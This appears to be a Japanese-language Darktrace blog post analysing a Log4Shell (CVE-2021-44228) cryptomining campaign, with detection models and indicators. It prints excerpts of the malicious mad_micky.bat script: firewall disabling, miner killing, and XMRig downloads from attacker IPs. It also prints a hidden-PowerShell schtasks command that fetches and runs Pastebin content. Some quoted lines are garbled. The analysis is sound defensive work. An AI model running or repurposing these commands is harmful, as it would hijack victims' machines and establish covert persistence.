Log4jの背景
2021年12月9日、Alibaba Cloud セキュリティチームは、Apache Log4j2 (Log4Shell) の複数のバージョンに対して、認証されないリモートコード実行を可能にする重大な脆弱性 (CVE-2021-44228) を公開しました。脆弱性のあるサーバーは、攻撃者がHTTPSなどの任意のプロトコルで接続し、特別に細工された文字列を送信することで悪用される可能性があります。
Log4jのクリプトマイニングキャンペーン
DarktraceはこのLog4j脆弱性が悪用された結果として、複数の顧客企業でクリプトマイニングが発生したことを検知しました。これらのインシデントでは、境界の防御を回避し、バッチ (.bat) スクリプトファイルをダウンロードするための base64 エンコードされた PowerShell スクリプトの要求と思われる送信 SSL 接続を介して悪用が発生し、暗号マイニングマルウェアをインストールする複数の実行可能ファイルが生成されました。この活動は、共通のハードコードされたIP、実行ファイル、スクリプトなど、より広範なキャンペーン指標を持っていました。
攻撃サイクルは、インターネットに接続されたデバイスを日和見的にスキャンし、Log4jエクスプロイトに対して脆弱なVMWare Horizonsサーバーを探すところから始まります。脆弱性のあるサーバーが見つかると、攻撃者は犠牲者に対してHTTPおよびSSL接続を行います。脆弱性の悪用に成功すると、サーバーはポート1389でコールバックを実行し、mad_micky.batという名前のスクリプトを取得します。これにより、次のことが実現されます:
- すべてのプロファイルを state=off 'netsh advfirewall set allprofiles state off' に設定して、Windows ファイアウォールを無効にする
- 'netstat -ano | findstr TCP' を使用して、他のマイナーのインストールを示す既存のプロセスを検索し、ポート :3333、:4444、:5555、:7777、:9000 で動作するプロセスを特定し、実行中のプロセスを停止する
- 新しいウェブクライアントが起動し、wxm.exeをサイレントダウンロードする
- スケジューリングされたタスクは、永続性を確立するために使用されます。コマンド 'schtasks /create /F /sc minute /mo 1 /tn -' は、タスクをスケジュールし、警告を抑制します。タスクはコマンドから1分以内にスケジュールされ、BrowserUpdate という名前が与えられ、悪意のあるドメイン b.oracleervice[.]top とハードコードされたIPを指す:198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
- レジストリキーはRunOnceに追加され、永続化される
少なくとも2つのケースでは、Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS) のユーザーエージェントを持つHTTP接続で mad_micky.bat スクリプトが取得されました。このユーザーエージェントは、これらのネットワーク上で初めて、そして唯一確認されたものです。このユーザーエージェントは、工場出荷時にインストールされた一部のASUSデバイスで正規に使用されているようですが、この活動時にのみ見られた新しいユーザーエージェントであるため、疑わしいと言えます。
悪用に成功すると、サーバーはポート1389でコールバックを実行し、スクリプトファイルを取得します。この例では、/xms.ps1 が base-64 でエンコードされた PowerShell スクリプトで、ホスト上の実行ポリシーをバイパスして 'mad_micky.bat' を呼び出すようになっています。
図1:PowerShellスクリプトxms.ps1に関する追加考察
このスナップショットは、影響を受けるサーバーのイベントログの詳細を示し、mad_micky.batファイルのダウンロードに起因するLog4j RCEの成功を示しています。
図2: mad_micky.bat ファイルをハイライトするログデータ
実行ファイルやスクリプトを取得するために追加の接続が開始されました。スクリプトには、韓国とウクライナに所在する2つのIPアドレスが含まれていました。ウクライナのIPに接続し、マイナーを起動させる実行ファイルxm.exeをダウンロードしました。このマイナー(この場合、XMRig Miner)は、複数の公開場所からダウンロードできるオープンソースのクロスプラットフォームマイニングツールです。次に観測されたexeのダウンロードは、wxm.exe(f0cf1d3d9ed23166ff6c1f3deece19b4)でした。
図3:XMRigの実行ファイルに関する補足説明
韓国のIPへの接続には、実行ファイル(LogBack.exe)だけでなく、別のスクリプト(/2.ps1)への要求も含まれていました。このスクリプトは、SCMイベントログフィルタやPowerShellイベントログコンシューマを含む、ロギングに関連する実行中のタスクを削除します。このスクリプトはまた、Pastebinからファイルを要求しますが、これはおそらくCobalt Strikeビーコン設定ファイルです。ログの削除は、スケジュールされたタスクと下記を含むWMIを含めて実施されました(Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer)。
- 設定ファイル(ホストされなくなった): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')
Pastebinから要求された2番目のファイルは、もはやPastebinによってホストされていないものの、schtasksコマンドの一部であり、したがっておそらく永続性を確立するために使用されています。
- schtasks /create /sc MINUTE /mo 5 /tn "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'" /F /ru System
実行ファイルLogback.exeは、別のXMRigマイニングツールです。また、同じ韓国のIPからconfig.jsonファイルがダウンロードされました。この後、cmd.exeとwmicコマンドを使用してマイナーの設定を行いました。
これらのファイルのダウンロードとマイナーの設定に続いて、Pastebinへの接続が追加されました。
図4:mad_micky.batファイルのOSINT相関図[1]
プロセス仕様 - mad_micky.batファイル
インストール
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
looking for following utilities: powershell, find, findstr, tasklist, sc
set "LOGFILE=%USERPROFILE%\mimu6\xmrig.log"
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if%EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & geto PORT_OK )
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set PORT=10001
マイナーの準備
echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0
XMRIGのダウンロード
echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)
開梱とインストール
echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP
if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1
Darktraceを使ったキャンペーンを検知する
Darktrace このキャンペーンを特定するために使用された主なモデル違反には、「一般的でないポートでのアプリケーションプロトコル」、「稀なサーバーからの発信接続」、「稀な宛先へのビーコン」の侵害に焦点を当てたモデルが含まれます。ファイルに焦点を当てたモデルでは、「マスカレードされたファイル転送」、「希少な場所からの複数の実行ファイルとスクリプト」、「希少な外部ロケーションからの圧縮されたコンテンツ」が挙げられます。暗号通貨のマイニングは、暗号通貨マイニングアクティビティモデルの下で検知されます。
Unusual PowerShell to Rare と New User Agentに関連するモデルは、Log4jコールバック後の感染デバイスの異常な接続を強調表示します。
また、Darktraceの自律遮断技術であるRESPONDをご利用のお客様は、ダウンロードされたファイルやスクリプトをブロックし、感染したデバイスを通常の生活パターンに制限することで、最初の悪質なファイルのダウンロードと継続的な暗号マイニングの両方を防ぐ措置を講じました。
付録
Darktraceによるモデル検知
- Anomalous Connection / Application Protocol on Uncommon Port
- Anomalous Connection / New User Agent to IP Without Hostname
- Anomalous Connection / PowerShell to Rare External
- Anomalous File / EXE from Rare External location
- Anomalous File / Masqueraded File Transfer
- Anomalous File / Multiple EXE from Rare External Locations
- Anomalous File / Script from Rare External Location
- Anomalous File / Zip or Gzip from Rare External Location
- Anomalous Server Activity / Outgoing from Server
- Compliance / Crypto Currency Mining Activity
- Compromise / Agent Beacon (Long Period)
- Compromise / Agent Beacon (Medium Period)
- Compromise / Agent Beacon (Short Period)
- Compromise / Beacon to Young Endpoint
- Compromise / Beaconing Activity To External Rare
- Compromise / Crypto Currency Mining Activity
- Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
- Device / New PowerShell User Agent
- Device / Suspicious Domain
観測されたMITRE ATT&CKテクニック
IoCs
For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.
脚注
1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d